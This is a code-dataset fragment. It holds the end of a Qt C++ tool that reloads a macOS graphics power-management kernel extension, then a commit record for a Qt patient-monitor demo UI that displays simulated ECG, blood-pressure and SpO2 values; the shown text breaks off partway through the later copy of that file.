root\n command = \"kextunload\";\n arguments.clear();\n arguments << \"-v\" << \"\/System\/Library\/Extensions\/AppleGraphicsPowerManagement.kext\";\n \/\/Execute commande line\n process.start(command,arguments);\n \/\/Wait forever until finished\n process.waitForFinished(-1);\n qDebug() << process.readAllStandardError();\n\n \/*** Finally load kext file ***\/\n \/\/TODO find a way to execute process as root\n command = \"kextload\";\n arguments.clear();\n arguments << \"-v\" << \"\/tmp\/AppleGraphicsPowerManagement.kext\";\n \/\/Execute commande line\n process.start(command,arguments);\n \/\/Wait forever until finished\n process.waitForFinished(-1);\n qDebug() << process.readAllStandardError();\n\n \/\/See here : http:\/\/osxdaily.com\/2015\/06\/24\/load-unload-kernel-extensions-mac-os-x\/\n int Status = 0;\n\n return Status;\n}\n\nint MainWindow::restoreOldKernelExtension(QFile *kernelFile)\n{\n \/\/Restore.bak extension\n int Status = 0;\n\n \/\/QFile::copy(kernelFile->fileName() + \".bak\", kernelFile->fileName());\n\n return Status;\n}\n\nQDomElement MainWindow::findElementChild(QDomElement parent, const QString &textToFind)\n{\n for(QDomElement elem = parent.firstChildElement(); !elem.isNull(); elem = elem.nextSiblingElement())\n {\n if(elem.text()==textToFind) return elem;\n\n QDomElement e = findElementChild(elem, textToFind);\n\n if(!e.isNull()) return e;\n }\n\n return QDomElement();\n}\n\nQDomElement MainWindow::findElementSibling(QDomElement parent, const QString &textToFind)\n{\n for(QDomElement elem = parent.nextSiblingElement(); !elem.isNull(); elem = elem.nextSiblingElement())\n {\n if(elem.text()==textToFind) return elem;\n\n QDomElement e = findElementChild(elem, textToFind);\n\n if(!e.isNull()) return e;\n }\n\n return QDomElement();\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"mainwindow.h\"\r\n#include \"ui_mainwindow.h\"\r\n#include \"graphSettingsPopup.h\"\r\n#include <QDateTime>\r\n\r\nMainWindow::MainWindow(QWidget *parent) :\r\n QMainWindow(parent),\r\n ui(new Ui::MainWindow)\r\n{\r\n ui->setupUi(this);\r\n\r\n#ifdef PMD_HAMP\r\n ui->pbtn_StartStop->setChecked(true);\r\n#endif\r\n\tprintf(\"This is MainWindow\\n\");\r\n\tqDebug(\"This is MainWindow via QDebug()\\n\");\r\n\r\n m_alarmBtnNormalStyleSheet=ui->pbtn_ECG_Alarm->styleSheet();\r\n m_alarmBtnRedStyleSheet= \"*{border: 0px;background-image: url(:\/images\/icnBellRed.png);} *:checked{background-image:url();}\";\r\n\r\n m_graphWidget1 = new Widget(ui->graphECGWidget,this);\r\n#ifndef ONLY_SHOW_ECG_GRAPH\r\n m_graphWidget2 = new Widget(ui->graphABPWidget,this);\r\n m_graphWidget3 = new Widget(ui->graphPLETHWidget,this);\r\n#endif\r\n\r\n m_graphWidget1->initialized(GraphECG,3);\r\n#ifndef ONLY_SHOW_ECG_GRAPH\r\n m_graphWidget2->initialized(GraphABP,1);\r\n m_graphWidget3->initialized(GraphPLETH,2);\r\n#endif\r\n\r\n m_selectedGraphWidget = NULL;\r\n\r\n \/\/ Set time\r\n updateTimeString();\r\n\r\n \/\/ Setup timer to update UI\r\n QTimer *timer = new QTimer(this);\r\n connect(timer, SIGNAL(timeout()), this, SLOT(updateTimeString()));\r\n timer->start(1000);\r\n\r\n m_timerAlarm =new QTimer (this);\r\n connect(m_timerAlarm, SIGNAL(timeout()), this, SLOT(animateAlarm()));\r\n m_timerAlarm->setInterval(500);\r\n m_timerAlarm->stop();\r\n\r\n m_timerDataValues = new QTimer(this);\r\n#ifndef DISABLE_RIGHT_PANEL_NUMERIC_VALUES\r\n connect(m_timerDataValues, SIGNAL(timeout()), this, SLOT(updatePulse()));\r\n connect(m_timerDataValues, SIGNAL(timeout()), this, SLOT(updateABP()));\r\n connect(m_timerDataValues, SIGNAL(timeout()), this, SLOT(updatePLETH()));\r\n m_timerDataValues->setInterval(3000);\r\n #ifndef PMD_HAMP\r\n m_timerDataValues->start();\r\n #endif\r\n#endif\r\n\r\n m_HB_Simulate_Data << 70 << 68 << 71 << 69<< 67<< 68;\r\n m_ABP_Higher_Simulate_Data << 100 << 110 << 107 << 124<< 137<< 119;\r\n m_ABP_Lower_Simulate_Data << 73 << 88 << 77 << 82 << 91 << 79;\r\n m_PLETH_Simulate_Data << 93 << 96 << 90 << 97 << 95 << 99;\r\n\r\n m_cstatus=true;\r\n\r\n#ifdef PMD_MEHV\r\n m_nserver =new Server(this);\r\n m_cstatus=false;\r\n#endif\r\n\r\n#ifdef PMD_NUCLEUS\r\n m_dataSupplier=new DataSupplier(this);\r\n#endif\r\n\r\n#ifdef PMD_HAMP\r\n\tprintf(\"Creating HAMPDataSupplier\\n\");\r\n m_hampdataSupplier =new HAMPDataSupplier(this);\r\n m_cstatus=true;\r\n\r\n \/\/ Setup timer to update UI\r\n QTimer *hamptimer = new QTimer(this);\r\n connect(hamptimer, SIGNAL(timeout()), this, SLOT(takeScreenSnapshort()));\r\n hamptimer->start(3000);\r\n\r\n#endif\r\n\r\n m_isPauseAll=false;\r\n m_isStart=true;\r\n m_isAlarmSilent=false;\r\n m_btnSilentPressed=false;\r\n\r\n m_graphSettingsPop =new GraphSettingsPopup(this);\r\n m_graphSettingsPop->hide();\r\n\r\n \/\/ Setup graph scrolling mode\r\n#ifdef ENABLE_GRAPH_SCROLLING\r\n on_pbtn_Scrolling_clicked(true);\r\n ui->pbtn_Scrolling->setChecked(true);\r\n#else\r\n on_pbtn_Scrolling_clicked(false);\r\n ui->pbtn_Scrolling->setChecked(false);\r\n#endif\r\n}\r\n\r\nMainWindow::~MainWindow()\r\n{\r\n delete ui;\r\n}\r\n\r\nvoid MainWindow::updatePulse()\r\n{\r\n QString value=\"0\";\r\n\r\n if(m_isPauseAll==true || m_isStart==false)\r\n return;\r\n\r\n if(m_cstatus)\r\n {\r\n value.setNum(this->getPulseValue());\r\n }\r\n\r\n ui->labelPulse->setText(value);\r\n ui->labelPulse->repaint();\r\n}\r\n\r\nvoid MainWindow::updateABP()\r\n{\r\n\r\n if(m_isPauseAll==true || m_isStart==false)\r\n return;\r\n\r\n if(m_cstatus)\r\n {\r\n ui->labelABP->setText(this->getABPValue());\r\n }\r\n else\r\n ui->labelABP->setText(\"0\/0\");\r\n\r\n ui->labelABP->repaint();\r\n}\r\n\r\nvoid MainWindow::updatePLETH()\r\n{\r\n if(m_isPauseAll==true || m_isStart==false)\r\n return;\r\n\r\n if(m_cstatus)\r\n {\r\n ui->labelSPO2->setText(this->getPLETHValue());\r\n }\r\n else\r\n ui->labelSPO2->setText(\"0\");\r\n\r\n ui->labelABP->repaint();\r\n}\r\n\r\nvoid MainWindow::updateTimeString()\r\n{\r\n \/\/get current date and time\r\n QDateTime dateTime = QDateTime::currentDateTime();\r\n QString dateTimeString = dateTime.toString(\"hh:mm:ss AP\");\r\n ui->labelTime->setText(dateTimeString);\r\n ui->labelTime->repaint();\r\n}\r\n\r\nint MainWindow::getPulseValue()\r\n{\r\n static int index=-1;\r\n\r\n if(index==this->m_HB_Simulate_Data.count()-1)\r\n index=0;\r\n else\r\n index++;\r\n\r\n return m_HB_Simulate_Data[index];\r\n}\r\n\r\nQString MainWindow::getABPValue()\r\n{\r\n static int index=-1;\r\n\r\n if(index==this->m_ABP_Higher_Simulate_Data.count()-1)\r\n index=0;\r\n else\r\n index++;\r\n\r\n QString str=QString(\"%1\/%2\").arg(m_ABP_Higher_Simulate_Data[index]).arg(m_ABP_Lower_Simulate_Data[index]);\r\n return str;\r\n}\r\n\r\nQString MainWindow::getPLETHValue()\r\n{\r\n static int index=-1;\r\n\r\n if(index==this->m_PLETH_Simulate_Data.count()-1)\r\n index=0;\r\n else\r\n index++;\r\n\r\n QString str=QString(\"%1\").arg(m_PLETH_Simulate_Data[index]);\r\n return str;\r\n}\r\n\r\nvoid MainWindow::on_pbtn_Silent_clicked()\r\n{\r\n m_btnSilentPressed=!m_btnSilentPressed;\r\n if(m_btnSilentPressed)\r\n {\r\n ui->pbtn_ECG_Alarm->setChecked(true);\r\n ui->pbtn_ABP_Alarm->setChecked(true);\r\n ui->pbtn_spo2_Alarm->setChecked(true);\r\n m_isAlarmSilent=true;\r\n \/\/ ui->pbtn_Silent->setStyleSheet(\"*{border: 0px;background-image: url(:\/images\/btn_pressed.png);}\");\r\n }\r\n else\r\n {\r\n ui->pbtn_ECG_Alarm->setChecked(false);\r\n ui->pbtn_ABP_Alarm->setChecked(false);\r\n ui->pbtn_spo2_Alarm->setChecked(false);\r\n m_isAlarmSilent=false;\r\n \/\/ui->pbtn_Silent->setStyleSheet(\"\");\r\n }\r\n}\r\n\r\nvoid MainWindow::on_pbtn_StartStop_clicked(bool checked)\r\n{\r\n\r\n#ifdef PMD_HAMP\r\n\r\n if(checked)\r\n {\r\n m_isStart=false;\r\n m_timerDataValues->stop();\r\n ui->pbtn_StartStop->setText(\"Start\");\r\n m_hampdataSupplier->startStopNucleus(m_isStart);\r\n m_cstatus=false;\r\n }\r\n else\r\n {\r\n m_isStart=true;\r\n ui->pbtn_StartStop->setText(\"Stop\");\r\n m_timerDataValues->start();\r\n m_hampdataSupplier->startStopNucleus(m_isStart);\r\n m_cstatus=true;\r\n\r\n }\r\n fflush(stdout);\r\n#else\r\n\r\n if(checked)\r\n {\r\n m_isStart=false;\r\n this->m_graphWidget1->clearWidget();\r\n#ifndef ONLY_SHOW_ECG_GRAPH\r\n this->m_graphWidget2->clearWidget();\r\n this->m_graphWidget3->clearWidget();\r\n#endif\r\n ui->pbtn_StartStop->setText(\"Start\");\r\n }\r\n else\r\n {\r\n m_isStart=true;\r\n ui->pbtn_StartStop->setText(\"Stop\");\r\n }\r\n\r\n#endif\r\n\r\n}\r\n\r\nvoid MainWindow::on_pbtn_PauseAll_clicked(bool checked)\r\n{\r\n if(!checked)\r\n {\r\n m_isPauseAll=false;\r\n ui->pbtn_PauseAll->setText(\"Pause All\");\r\n }\r\n else\r\n {\r\n m_isPauseAll=true;\r\n this->m_graphWidget1->clearWidget();\r\n#ifndef ONLY_SHOW_ECG_GRAPH\r\n this->m_graphWidget2->clearWidget();\r\n this->m_graphWidget3->clearWidget();\r\n#endif\r\n ui->pbtn_PauseAll->setText(\"Start All\");\r\n }\r\n}\r\n\r\nvoid MainWindow::on_pbtn_Scrolling_clicked(bool checked)\r\n{\r\n (void)checked;\r\n#ifndef PMD_HAMP\r\n m_graphWidget1->setScrollingMode(checked);\r\n#ifndef ONLY_SHOW_ECG_GRAPH\r\n m_graphWidget2->setScrollingMode(checked);\r\n m_graphWidget3->setScrollingMode(checked);\r\n#endif\r\n#endif\r\n}\r\n\r\nvoid MainWindow::updateTimer()\r\n{\r\n#ifdef PMD_MEHV\r\n pm_data_struct pm={0,0,0,0};\r\n dataReceived (&pm);\r\n#endif\r\n}\r\n\r\nvoid MainWindow::animateAlarm()\r\n{\r\n ui->pbtn_ABP_Alarm->toggle();\r\n ui->pbtn_ECG_Alarm->toggle();\r\n ui->pbtn_spo2_Alarm->toggle();\r\n}\r\n\r\nvoid MainWindow::on_pbtn_ECG_Alarm_clicked(bool checked)\r\n{\r\n (void)checked;\r\n}\r\n\r\nvoid MainWindow::on_pbtn_spo2_Alarm_clicked(bool checked)\r\n{\r\n (void)checked;\r\n}\r\n\r\nvoid MainWindow::on_pbtn_ABP_Alarm_clicked(bool checked)\r\n{\r\n (void)checked;\r\n}\r\n\r\nvoid MainWindow::dataReceived(pm_data_struct *current)\r\n{\r\n\tif (m_isPauseAll==false)\r\n {\r\n\t\tswitch(m_graphWidget1->getGraphType())\r\n {\r\n\r\n case GraphECG:\r\n m_graphWidget1->animate(current->ecgValue);\r\n break;\r\n\r\n case GraphABP:\r\n m_graphWidget1->animate(current->abpValue);\r\n break;\r\n\r\n case GraphPLETH:\r\n m_graphWidget1->animate(current->plethValue);\r\n break;\r\n\r\n case GraphCO2:\r\n \/\/TODO\r\n break;\r\n }\r\n\r\n#ifndef ONLY_SHOW_ECG_GRAPH\r\n switch(m_graphWidget2->getGraphType())\r\n {\r\n case GraphECG:\r\n m_graphWidget2->animate(current->ecgValue);\r\n break;\r\n\r\n case GraphABP:\r\n m_graphWidget2->animate(current->abpValue);\r\n break;\r\n\r\n case GraphPLETH:\r\n m_graphWidget2->animate(current->plethValue);\r\n break;\r\n\r\n case GraphCO2:\r\n \/\/TODO\r\n break;\r\n }\r\n\r\n switch(m_graphWidget3->getGraphType())\r\n {\r\n case GraphECG:\r\n m_graphWidget3->animate(current->ecgValue);\r\n break;\r\n\r\n case GraphABP:\r\n m_graphWidget3->animate(current->abpValue);\r\n break;\r\n\r\n case GraphPLETH:\r\n m_graphWidget3->animate(current->plethValue);\r\n break;\r\n\r\n case GraphCO2:\r\n \/\/TODO\r\n break;\r\n }\r\n#endif\r\n }\r\n}\r\n\r\n#ifndef PMD_NUCLEUS\r\nvoid MainWindow::connectionStatus(bool status)\r\n{\r\n QDateTime dateTime = QDateTime::currentDateTime();\r\n QString dateTimeString = dateTime.toString(\"hh:mmap\");\r\n m_cstatus=status;\r\n\r\n if(status)\r\n {\r\n ui->labelBulletText->setText(\"External system connected at \"+dateTimeString);\r\n ui->labelBulletText->repaint();\r\n ui->pbtn_ECG_Alarm->setStyleSheet(m_alarmBtnNormalStyleSheet);\r\n ui->pbtn_ABP_Alarm->setStyleSheet(m_alarmBtnNormalStyleSheet);\r\n ui->pbtn_spo2_Alarm->setStyleSheet(m_alarmBtnNormalStyleSheet);\r\n ui->pbtn_ABP_Alarm->setDisabled(false);\r\n ui->pbtn_ECG_Alarm->setDisabled(false);\r\n ui->pbtn_spo2_Alarm->setDisabled(false);\r\n m_timerAlarm->stop();\r\n\r\n }\r\n else\r\n {\r\n ui->labelBulletText->setText(\"External system disconnected at \"+dateTimeString);\r\n ui->labelBulletText->repaint();\r\n ui->pbtn_ECG_Alarm->setStyleSheet(m_alarmBtnRedStyleSheet);\r\n ui->pbtn_ABP_Alarm->setStyleSheet(m_alarmBtnRedStyleSheet);\r\n ui->pbtn_spo2_Alarm->setStyleSheet(m_alarmBtnRedStyleSheet);\r\n ui->pbtn_ABP_Alarm->setDisabled(true);\r\n ui->pbtn_ECG_Alarm->setDisabled(true);\r\n ui->pbtn_spo2_Alarm->setDisabled(true);\r\n\r\n m_timerAlarm->start();\r\n updatePLETH();\r\n updateABP();\r\n updatePulse();\r\n }\r\n}\r\n#endif\r\n\r\nvoid MainWindow::launchGraphMenuPopup(Widget *widget)\r\n{\r\n if(m_graphSettingsPop->m_isVisible==false)\r\n {\r\n m_selectedGraphWidget=widget;\r\n switch(m_selectedGraphWidget->getGraphType())\r\n {\r\n case GraphECG:\r\n m_graphSettingsPop->initialized(m_selectedGraphWidget->getGraphWaveSize(),GraphECG);\r\n break;\r\n\r\n case GraphABP:\r\n m_graphSettingsPop->initialized(m_selectedGraphWidget->getGraphWaveSize(),GraphABP);\r\n break;\r\n\r\n case GraphPLETH:\r\n m_graphSettingsPop->initialized(m_selectedGraphWidget->getGraphWaveSize(),GraphPLETH);\r\n break;\r\n\r\n case GraphCO2:\r\n \/\/TODO\r\n break;\r\n }\r\n m_graphSettingsPop->show();\r\n }\r\n}\r\n\r\nvoid MainWindow::onGraphMenuPopupOk()\r\n{\r\n if(m_selectedGraphWidget->getGraphWaveSize()!=m_graphSettingsPop->m_graphWaveSize)\r\n {\r\n switch(m_selectedGraphWidget->getGraphType())\r\n {\r\n case GraphECG:\r\n m_selectedGraphWidget->initialized(GraphECG,m_graphSettingsPop->m_graphWaveSize);\r\n m_selectedGraphWidget->repaint();\r\n break;\r\n\r\n case GraphABP:\r\n m_selectedGraphWidget->initialized(GraphABP,m_graphSettingsPop->m_graphWaveSize);\r\n m_selectedGraphWidget->repaint();\r\n break;\r\n\r\n case GraphPLETH:\r\n m_selectedGraphWidget->initialized(GraphPLETH,m_graphSettingsPop->m_graphWaveSize);\r\n m_selectedGraphWidget->repaint();\r\n break;\r\n\r\n case GraphCO2:\r\n \/\/TODO\r\n break;\r\n }\r\n }\r\n\r\n m_graphSettingsPop->hide();\r\n m_graphSettingsPop->close();\r\n m_graphSettingsPop->m_isVisible=false;\r\n m_selectedGraphWidget=NULL;\r\n}\r\n\r\nvoid MainWindow::onGraphMenuPopupCancel()\r\n{\r\n m_graphSettingsPop->hide();\r\n m_graphSettingsPop->close();\r\n m_graphSettingsPop->m_isVisible=false;\r\n m_selectedGraphWidget=NULL;\r\n}\r\n\r\n\r\n#ifdef PMD_HAMP\r\n\r\nvoid MainWindow::takeScreenSnapshort()\r\n{\r\n QRect r= this->rect();\r\n QPixmap pixmap=this->grab(r);\r\n QString fileName = m_hampdataSupplier->getScreenShortPath();\r\n\r\n if(pixmap.isNull()==false)\r\n pixmap.save(fileName,\"PNG\");\r\n else\r\n printf(\"\\npixmap is NULL\");\r\n}\r\n\r\n#endif\r\n<commit_msg>test4<commit_after>#include \"mainwindow.h\"\r\n#include \"ui_mainwindow.h\"\r\n#include \"graphSettingsPopup.h\"\r\n#include <QDateTime>\r\n\r\nMainWindow::MainWindow(QWidget *parent) :\r\n QMainWindow(parent),\r\n ui(new Ui::MainWindow)\r\n{\r\n ui->setupUi(this);\r\n\r\n#ifdef PMD_HAMP\r\n ui->pbtn_StartStop->setChecked(true);\r\n#endif\r\n\tprintf(\"This is MainWindow\\n\");\r\n\tqDebug(\"This is MainWindow via QDebug()\\n\");\r\n\r\n m_alarmBtnNormalStyleSheet=ui->pbtn_ECG_Alarm->styleSheet();\r\n m_alarmBtnRedStyleSheet= \"*{border: 0px;background-image: url(:\/images\/icnBellRed.png);} *:checked{background-image:url();}\";\r\n\r\n m_graphWidget1 = new Widget(ui->graphECGWidget,this);\r\n#ifndef ONLY_SHOW_ECG_GRAPH\r\n m_graphWidget2 = new Widget(ui->graphABPWidget,this);\r\n m_graphWidget3 = new Widget(ui->graphPLETHWidget,this);\r\n#endif\r\n\r\n m_graphWidget1->initialized(GraphECG,3);\r\n#ifndef ONLY_SHOW_ECG_GRAPH\r\n m_graphWidget2->initialized(GraphABP,1);\r\n m_graphWidget3->initialized(GraphPLETH,2);\r\n#endif\r\n\r\n m_selectedGraphWidget = NULL;\r\n\r\n \/\/ Set time\r\n updateTimeString();\r\n\r\n \/\/ Setup timer to update UI\r\n QTimer *timer = new QTimer(this);\r\n connect(timer, SIGNAL(timeout()), this, SLOT(updateTimeString()));\r\n timer->start(1000);\r\n\r\n m_timerAlarm =new QTimer (this);\r\n connect(m_timerAlarm, SIGNAL(timeout()), this, SLOT(animateAlarm()));\r\n m_timerAlarm->setInterval(500);\r\n m_timerAlarm->stop();\r\n\r\n m_timerDataValues = new QTimer(this);\r\n#ifndef DISABLE_RIGHT_PANEL_NUMERIC_VALUES\r\n connect(m_timerDataValues, SIGNAL(timeout()), this, SLOT(updatePulse()));\r\n connect(m_timerDataValues, SIGNAL(timeout()), this, SLOT(updateABP()));\r\n connect(m_timerDataValues, SIGNAL(timeout()), this, SLOT(updatePLETH()));\r\n m_timerDataValues->setInterval(3000);\r\n #ifndef PMD_HAMP\r\n m_timerDataValues->start();\r\n #endif\r\n#endif\r\n\r\n m_HB_Simulate_Data << 70 << 68 << 71 << 69<< 67<< 68;\r\n m_ABP_Higher_Simulate_Data << 100 << 110 << 107 << 124<< 137<< 119;\r\n m_ABP_Lower_Simulate_Data << 73 << 88 << 77 << 82 << 91 << 79;\r\n m_PLETH_Simulate_Data << 93 << 96 << 90 << 97 << 95 << 99;\r\n\r\n m_cstatus=true;\r\n\r\n#ifdef PMD_MEHV\r\n m_nserver =new Server(this);\r\n m_cstatus=false;\r\n#endif\r\n\r\n#ifdef PMD_NUCLEUS\r\n m_dataSupplier=new DataSupplier(this);\r\n#endif\r\n\r\n#ifdef PMD_HAMP\r\n\tprintf(\"Creating HAMPDataSupplier\\n\");\r\n m_hampdataSupplier =new HAMPDataSupplier(this);\r\n m_cstatus=true;\r\n\r\n \/\/ Setup timer to update UI\r\n QTimer *hamptimer = new QTimer(this);\r\n connect(hamptimer, SIGNAL(timeout()), this, SLOT(takeScreenSnapshort()));\r\n hamptimer->start(3000);\r\n\r\n#endif\r\n\r\n m_isPauseAll=false;\r\n m_isStart=true;\r\n m_isAlarmSilent=false;\r\n m_btnSilentPressed=false;\r\n\r\n m_graphSettingsPop =new GraphSettingsPopup(this);\r\n m_graphSettingsPop->hide();\r\n\r\n \/\/ Setup graph scrolling mode\r\n#ifdef ENABLE_GRAPH_SCROLLING\r\n on_pbtn_Scrolling_clicked(true);\r\n ui->pbtn_Scrolling->setChecked(true);\r\n#else\r\n on_pbtn_Scrolling_clicked(false);\r\n ui->pbtn_Scrolling->setChecked(false);\r\n#endif\r\n}\r\n\r\nMainWindow::~MainWindow()\r\n{\r\n delete ui;\r\n}\r\n\r\nvoid MainWindow::updatePulse()\r\n{\r\n QString value=\"0\";\r\n\r\n if(m_isPauseAll==true || m_isStart==false)\r\n return;\r\n\r\n if(m_cstatus)\r\n {\r\n value.setNum(this->getPulseValue());\r\n }\r\n\r\n ui->labelPulse->setText(value);\r\n ui->labelPulse->repaint();\r\n}\r\n\r\nvoid MainWindow::updateABP()\r\n{\r\n\r\n if(m_isPauseAll==true || m_isStart==false)\r\n return;\r\n\r\n if(m_cstatus)\r\n {\r\n ui->labelABP->setText(this->getABPValue());\r\n }\r\n else\r\n ui->labelABP->setText(\"0\/0\");\r\n\r\n ui->labelABP->repaint();\r\n}\r\n\r\nvoid MainWindow::updatePLETH()\r\n{\r\n if(m_isPauseAll==true || m_isStart==false)\r\n return;\r\n\r\n if(m_cstatus)\r\n {\r\n ui->labelSPO2->setText(this->getPLETHValue());\r\n }\r\n else\r\n ui->labelSPO2->setText(\"0\");\r\n\r\n ui->labelABP->repaint();\r\n}\r\n\r\nvoid MainWindow::updateTimeString()\r\n{\r\n \/\/get current date and time\r\n QDateTime dateTime = QDateTime::currentDateTime();\r\n QString dateTimeString = dateTime.toString(\"hh:mm:ss AP\");\r\n ui->labelTime->setText(dateTimeString);\r\n ui->labelTime->repaint();\r\n}\r\n\r\nint MainWindow::getPulseValue()\r\n{\r\n static int index=-1;\r\n\r\n if(index==this->m_HB_Simulate_Data.count()-1)\r\n index=0;\r\n else\r\n index++;\r\n\r\n return m_HB_Simulate_Data[index];\r\n}\r\n\r\nQString MainWindow::getABPValue()\r\n{\r\n static int index=-1;\r\n\r\n if(index==this->m_ABP_Higher_Simulate_Data.count()-1)\r\n index=0;\r\n else\r\n index++;\r\n\r\n QString str=QString(\"%1\/%2\").arg(m_ABP_Higher_Simulate_Data[index]).arg(m_ABP_Lower_Simulate_Data[index]);\r\n return str;\r\n}\r\n\r\nQString MainWindow::getPLETHValue()\r\n{\r\n static int index=-1;\r\n\r\n if(index==this->m_PLETH_Simulate_Data.count()-1)\r\n index=0;\r\n else\r\n index++;\r\n\r\n QString str=QString(\"%1\").arg(m_PLETH_Simulate_Data[index]);\r\n return str;\r\n}\r\n\r\nvoid MainWindow::on_pbtn_Silent_clicked()\r\n{\r\n m_btnSilentPressed=!m_btnSilentPressed;\r\n if(m_btnSilentPressed)\r\n {\r\n ui->pbtn_ECG_Alarm->setChecked(true);\r\n ui->pbtn_ABP_Alarm->setChecked(true);\r\n ui->pbtn_spo2_Alarm->setChecked(true);\r\n m_isAlarmSilent=true;\r\n \/\/ ui->pbtn_Silent->setStyleSheet(\"*{border: 0px;background-image: url(:\/images\/btn_pressed.png);}\");\r\n }\r\n else\r\n {\r\n ui->pbtn_ECG_Alarm->setChecked(false);\r\n ui->pbtn_ABP_Alarm->setChecked(false);\r\n ui->pbtn_spo2_Alarm->setChecked(false);\r\n m_isAlarmSilent=false;\r\n \/\/ui->pbtn_Silent->setStyleSheet(\"\");\r\n }\r\n}\r\n\r\nvoid MainWindow::on_pbtn_StartStop_clicked(bool checked)\r\n{\r\n\r\n#ifdef PMD_HAMP\r\n\r\n if(checked)\r\n {\r\n m_isStart=false;\r\n m_timerDataValues->stop();\r\n ui->pbtn_StartStop->setText(\"Start\");\r\n m_hampdataSupplier->startStopNucleus(m_isStart);\r\n m_cstatus=false;\r\n }\r\n else\r\n {\r\n m_isStart=true;\r\n ui->pbtn_StartStop->setText(\"Stop\");\r\n m_timerDataValues->start();\r\n m_hampdataSupplier->startStopNucleus(m_isStart);\r\n m_cstatus=true;\r\n\r\n }\r\n fflush(stdout);\r\n#else\r\n\r\n if(checked)\r\n {\r\n m_isStart=false;\r\n this->m_graphWidget1->clearWidget();\r\n#ifndef ONLY_SHOW_ECG_GRAPH\r\n this->m_graphWidget2->clearWidget();\r\n this->m_graphWidget3->clearWidget();\r\n#endif\r\n ui->pbtn_StartStop->setText(\"Start\");\r\n }\r\n else\r\n {\r\n m_isStart=true;\r\n ui->pbtn_StartStop->setText(\"Stop\");\r\n }\r\n\r\n#endif\r\n\r\n}\r\n\r\nvoid MainWindow::on_pbtn_PauseAll_clicked(bool checked)\r\n{\r\n if(!checked)\r\n {\r\n m_isPauseAll=false;\r\n ui->pbtn_PauseAll->setText(\"Pause All\");\r\n }\r\n else\r\n {\r\n m_isPauseAll=true;\r\n this->m_graphWidget1->clearWidget();\r\n#ifndef ONLY_SHOW_ECG_GRAPH\r\n this->m_graphWidget2->clearWidget();\r\n this->m_graphWidget3->clearWidget();\r\n#endif\r\n ui->pbtn_PauseAll->setText(\"Start All\");\r\n }\r\n}\r\n\r\nvoid MainWindow::on_pbtn_Scrolling_clicked(bool checked)\r\n{\r\n (void)checked;\r\n#ifndef PMD_HAMP\r\n m_graphWidget1->setScrollingMode(checked);\r\n#ifndef ONLY_SHOW_ECG_GRAPH\r\n m_graphWidget2->setScrollingMode(checked);\r\n m_graphWidget3->setScrollingMode(checked);\r\n#endif\r\n#endif\r\n}\r\n\r\nvoid MainWindow::updateTimer()\r\n{\r\n#ifdef PMD_MEHV\r\n pm_data_struct pm={0,0,0,0};\r\n dataReceived (&pm);\r\n#endif\r\n}\r\n\r\nvoid MainWindow::animateAlarm()\r\n{\r\n ui->pbtn_ABP_Alarm->toggle();\r\n ui->pbtn_ECG_Alarm->toggle();\r\n ui->pbtn_spo2_Alarm->toggle();\r\n}\r\n\r\nvoid MainWindow::on_pbtn_ECG_Alarm_clicked(bool checked)\r\n{\r\n (void)checked;\r\n}\r\n\r\nvoid MainWindow::on_pbtn_spo2_Alarm_clicked(bool checked)\r\n{\r\n (void)checked;\r\n}\r\n\r\nvoid MainWindow::on_pbtn_ABP_Alarm_clicked(bool checked)\r\n{\r\n (void)checked;\r\n}\r\n\r\nvoid MainWindow::dataReceived(pm_data_struct *current)\r\n{\r\n\tif (m_isPauseAll==false)\r\n {\r\n\t\tswitch(m_graphWidget1->getGraphType())\r\n {\r\n\r\n case GraphECG:\r\n m_graphWidget1->animate(current->ecgValue);\r\n break;\r\n\r\n case GraphABP:\r\n m_graphWidget1->animate(current->abpValue);\r\n break;\r\n\r\n case GraphPLETH:\r\n m_graphWidget1->animate(current->plethValue);\r\n break;\r\n\r\n case GraphCO2:\r\n \/\/TODO\r\n break;\r\n }\r\n\r\n#ifndef ONLY_SHOW_ECG_GRAPH\r\n switch(m_graphWidget2->getGraphType())\r\n {\r\n case GraphECG:\r\n m_graphWidget2->animate(current->ecgValue);\r\n break;\r\n\r\n case GraphABP:\r\n m_graphWidget2->animate(current->abpValue);\r\n break;\r\n\r\n case GraphPLETH:\r\n m_graphWidget2->animate(current->plethValue);\r\n break;\r\n\r\n case GraphCO2:\r\n \/\/TODO\r\n break;\r\n }\r\n\r\n switch(m_graphWidget3->getGraphType())\r\n {\r\n case GraphECG:\r\n m_graphWidget3->animate(current->ecgValue);\r\n break;\r\n\r\n case GraphABP:\r\n m_graphWidget3->animate(current->abpValue);\r\n break;\r\n\r\n case GraphPLETH:\r\n m_graphWidget3->animate(current->plethValue);\r\n break;\r\n\r\n case GraphCO2:\r\n \/\/TODO\r\n break;\r\n }\r\n#endif\r\n }\r\n}\r\n\r\n#ifndef PMD_NUCLEUS\r\nvoid MainWindow::connectionStatus(bool status)\r\n{\r\n QDateTime dateTime = QDateTime::currentDateTime();\r\n QString dateTimeString = dateTime.toString(\"hh:mmap\");\r\n m_cstatus=status;\r\n\r\n if(status)\r\n {\r\n ui->labelBulletText->setText(\"External system connected at \"+dateTimeString);\r\n ui->labelBulletText->repaint();\r\n ui->pbtn_ECG_Alarm->setStyleSheet(m_alarmBtnNormalStyleSheet);\r\n ui->pbtn_ABP_Alarm->setStyleSheet(m_alarmBtnNormalStyleSheet);\r\n ui->pbtn_spo2_Alarm->setStyleSheet(m_alarmBtnNormalStyleSheet);\r\n ui->pbtn_ABP_Alarm->setDisabled(false);\r\n ui->pbtn_ECG_Alarm->setDisabled(false);\r\n ui->pbtn_spo2_Alarm->setDisabled(false);\r\n m_timerAlarm->stop();\r\n\r\n }\r\n else\r\n {\r\n ui->labelBulletText->setText(\"External system disconnected at \"+dateTimeString);\r\n ui->labelBulletText->repaint();\r\n ui->pbtn_ECG_Alarm->setStyleSheet(m_alarmBtnRedStyleSheet);\r\n ui->pbtn_ABP_Alarm->setStyleSheet(m_alarmBtnRedStyleSheet);\r\n ui->pbtn_spo2_Alarm->setStyleSheet(m_alarmBtnRedStyleSheet);\r\n ui->pbtn_ABP_Alarm->setDisabled(true);\r\n ui->pbtn_ECG_Alarm->setDisabled(true);\r\n ui->pbtn_spo2_Alarm->setDisabled(true);\r\n\r\n m_timerAlarm->start();\r\n updatePLETH();\r\n updateABP();\r\n updatePulse();\r\n }\r\n}\r\n#endif\r\n\r\nvoid MainWindow::launchGraphMenuPopup(Widget *widget)\r\n{\r\n if(m_graphSettingsPop->m_isVisible==false)\r\n {\r\n m_selectedGraphWidget=widget;\r\n switch(m_selectedGraphWidget->getGraphType())\r\n {\r\n case GraphECG:\r\n 